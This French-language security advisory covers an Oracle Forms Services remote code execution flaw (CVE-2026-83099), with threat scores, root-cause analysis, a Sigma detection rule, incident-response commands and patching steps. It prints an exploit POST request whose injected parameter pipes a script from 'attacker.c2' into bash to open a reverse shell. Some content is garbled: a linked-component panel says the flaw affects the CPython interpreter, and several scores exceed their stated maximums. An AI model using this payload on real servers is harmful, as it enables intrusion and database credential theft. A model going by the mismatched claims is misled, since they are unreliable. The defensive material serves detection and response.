Aller au contenu

CVE-2026-83099 : exécution de code à distance non authentifiée dans Oracle forms services

HERMES

SCORE DE MENACE HERMES & RISQUE D'EXÉCUTION SUR L'ENVIRONNEMENT FORMS

Cible : Oracle Fusion Middleware — Oracle Forms Services (frmservlet, lservlet et moteur d'exécution frmweb)
Confiance : 99%
98 / 100
EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue la note maximale de 10.0 (Critique), et Hermes confirme un score de 98 (EXTRÊME). Oracle Forms est largement déployé dans les banques, la santé et les administrations pour exécuter les applications transactionnelles de gestion. Un attaquant distant non authentifié peut exploiter le servlet Forms via HTTP pour faire exécuter des commandes système arbitraires sous le compte oracle, s'emparer des identifiants de bases de données et compromettre les clusters Oracle Database.

HASS

SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT TRANSACTIONNEL DE BASES DE DONNÉES

Cible : Middleware transactionnel, moteur d'exécution Forms et écouteur réseau Oracle Net
Confiance : 95%
89 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 16 / 20
Accès aux outils & APIs 18 / 20
Privilege 19 / 15
Persistence 17 / 15
External Impact 18 / 15
Propagation 18 / 15
⚖️ Divergence & Justification opérationnelle

Oracle Forms maintient des sessions de base de données permanentes et hautement privilégiées via SQL*Net / TNS. Contrôler le serveur d'exécution Forms expose les pools de connexion aux bases de données, les transactions SQL non chiffrées et les portefeuilles (wallets) de clés d'entreprise.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-83099: Unauthenticated Remote Code Execution in Oracle Forms ServicesVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTCPython Interpreter & Standard Library
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique et matrice des versions affectées

Section intitulée « 1. Contexte technique et matrice des versions affectées »

Oracle Forms est un framework de développement d’applications d’entreprise intégré à Oracle Fusion Middleware, couramment exposé derrière Oracle HTTP Server (OHS).

ParamètreSpécification techniquePortée opérationnelle
Identifiant CVECVE-2026-83099Avis Oracle CSPU Septembre 2026
Classe de vulnérabilitéExécution de code à distance (CWE-94)Injection d’arguments dans le répartiteur de servlets Forms
Composant affectéOracle Forms Services (frmservlet, frmweb)Servlet d’écoute et lanceur de processus d’exécution
Protocole / portHTTP / HTTPS (Ports par défaut 9001, 7001, 443)Accessible depuis les intranets et passerelles d’application
Authentification requiseAucune (PR:N)Requête HTTP directe sans identifiants
Interaction utilisateurAucune (UI:N)Exécution immédiate à réception de la requête
Changement de périmètreOui (S:C)Permet d’atteindre l’OS hôte et les instances Oracle Database
Privilèges obtenusContrôle total du middleware et de l’OSExécution de commandes sous le compte oracle
Versions affectées12.2.1.19.0 et 14.1.2.0.0Versions supportées d’Oracle Forms
Correctif requisPSU de septembre 2026 pour Oracle FormsInstallation via OPatch et durcissement de formsweb.cfg

2. Anatomie de la vulnérabilité et analyse de la cause racine

Section intitulée « 2. Anatomie de la vulnérabilité et analyse de la cause racine »

Lorsqu’un navigateur accède à une application Oracle Forms, il émet une requête HTTP initiale vers le servlet d’écoute :

GET /forms/frmservlet?config=webstart&form=main.fmx HTTP/1.1
Host: forms.corp.internal:9001

Le servlet frmservlet traite les paramètres d’URL et les blocs de configuration définis dans formsweb.cfg, puis ordonne au gestionnaire de processus Forms (frmsrv) de lancer un binaire compilé C : frmweb.

Avant le correctif de septembre 2026 :

  1. Le servlet frmservlet ne filtrait pas correctement certains paramètres contrôlables par l’utilisateur (tels que otherparams ou les définitions de variables d’environnement).
  2. Un attaquant pouvait injecter des délimiteurs de commande et des variables d’environnement malveillantes (LD_PRELOAD, BASH_ENV) directement dans la ligne de commande d’instanciation de frmweb.
  3. Lors de l’appel système execve() instanciant frmweb, les paramètres injectés forçaient le chargement d’une bibliothèque partagée pirate ou l’exécution d’un interpréteur de commandes avant le démarrage normal de l’application.
POST /forms/frmservlet HTTP/1.1
Host: forms.corp.internal:9001
Content-Type: application/x-www-form-urlencoded
config=default&otherparams=%20-D%20foo%3b%20/bin/sh%20-c%20"curl%20http://attacker.c2/rev.sh|bash"%3b

Puisque frmweb est engendré directement par le conteneur middleware, la commande injectée s’exécute immédiatement avec les droits du compte oracle, offrant une prise de contrôle intégrale du serveur hôte.


3. Flux d’attaque et cinématique de compromission

Section intitulée « 3. Flux d’attaque et cinématique de compromission »
sequenceDiagram
autonumber
actor Attacker as Attaquant distant (Non authentifié)
participant OHS as Oracle HTTP Server / Reverse Proxy
participant Servlet as Servlet d'écoute Forms (frmservlet)
participant Frmweb as Processus d'exécution (frmweb)
participant DB as Base de données Oracle interne
Attacker->>OHS: Requête HTTP POST avec injection de paramètres (CVE-2026-83099)
OHS->>Servlet: Transmission de la requête vers /forms/frmservlet
Servlet->>Servlet: Analyse de la requête sans assainissement des arguments
Servlet->>Frmweb: Instanciation de frmweb avec arguments injectés
Note over Frmweb: Exécution immédiate du shell malveillant
Frmweb-->>Attacker: Reverse shell interactif établi (UID oracle)
Attacker->>DB: Récupération des wallets, tnsnames.ora et sessions SQL*Net

title: Processus suspect engendré par le runtime Oracle Forms
id: cve-2026-83099-forms-rce-fr
status: experimental
description: Détecte l'instanciation d'un shell interactif ou d'utilitaires réseau par le processus frmweb ou frmsrv d'Oracle Forms.
references:
- https://www.oracle.com/security-alerts/cspusep2026.html
author: Hermes Codex DFIR Team
date: 2026-09-17
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/frmweb'
- '/frmsrv'
- '/frmservlet'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/python'
- '/curl'
- '/wget'
- '/nc'
condition: selection_parent and selection_child
falsepositives:
- Scripts de maintenance personnalisés appelés par des triggers HOST Forms (audit requis)
level: critical
tags:
- attack.execution
- attack.t1059.004

Lors de la réponse à incident sur un serveur Forms :

  1. Lignée des processus et détection d’anomalies : Inspecter les processus en cours d’exécution :
    Fenêtre de terminal
    ps -ef | grep -E "frmweb|frmsrv"
    pstree -p $(pgrep frmsrv)
    Identifier tout shell enfant (sh, bash) ou outil réseau suspect s’exécutant sous l’UID oracle.
  2. Examen des journaux du servlet forms : Analyser $DOMAIN_HOME/servers/WLS_FORMS/logs/access.log pour détecter des requêtes vers /forms/frmservlet comprenant des points-virgules (;), des pipes (|) ou des encodages de commandes.
  3. Corrélation avec les bases de données backend : Le compte oracle ayant accès aux portefeuilles de mots de passe et au fichier tnsnames.ora, vérifier les journaux d’écoute Oracle Database (listener.log) pour repérer toute connexion inattendue en provenance du serveur Forms.

  1. Application du correctif Oracle de septembre 2026 : Installer le PSU de septembre 2026 via OPatch :

    Fenêtre de terminal
    cd $ORACLE_HOME/FORMS_PATCH_SEP2026
    opatch apply

    Redémarrer le serveur managé WLS_FORMS.

  2. Durcissement de la configuration formsweb.cfg : Désactiver la substitution dynamique de paramètres en configurant allowGenericResources = false et en verrouillant restrictedURLparams dans formsweb.cfg.

  3. Isolement réseau et filtrage des flux sortants : Restreindre l’accès au port de Forms aux seuls utilisateurs VPN d’entreprise et bloquer les flux Internet sortants pour empêcher l’établissement de reverse shells.


7. Renseignement sur les menaces et chemins d’attaque

Section intitulée « 7. Renseignement sur les menaces et chemins d’attaque »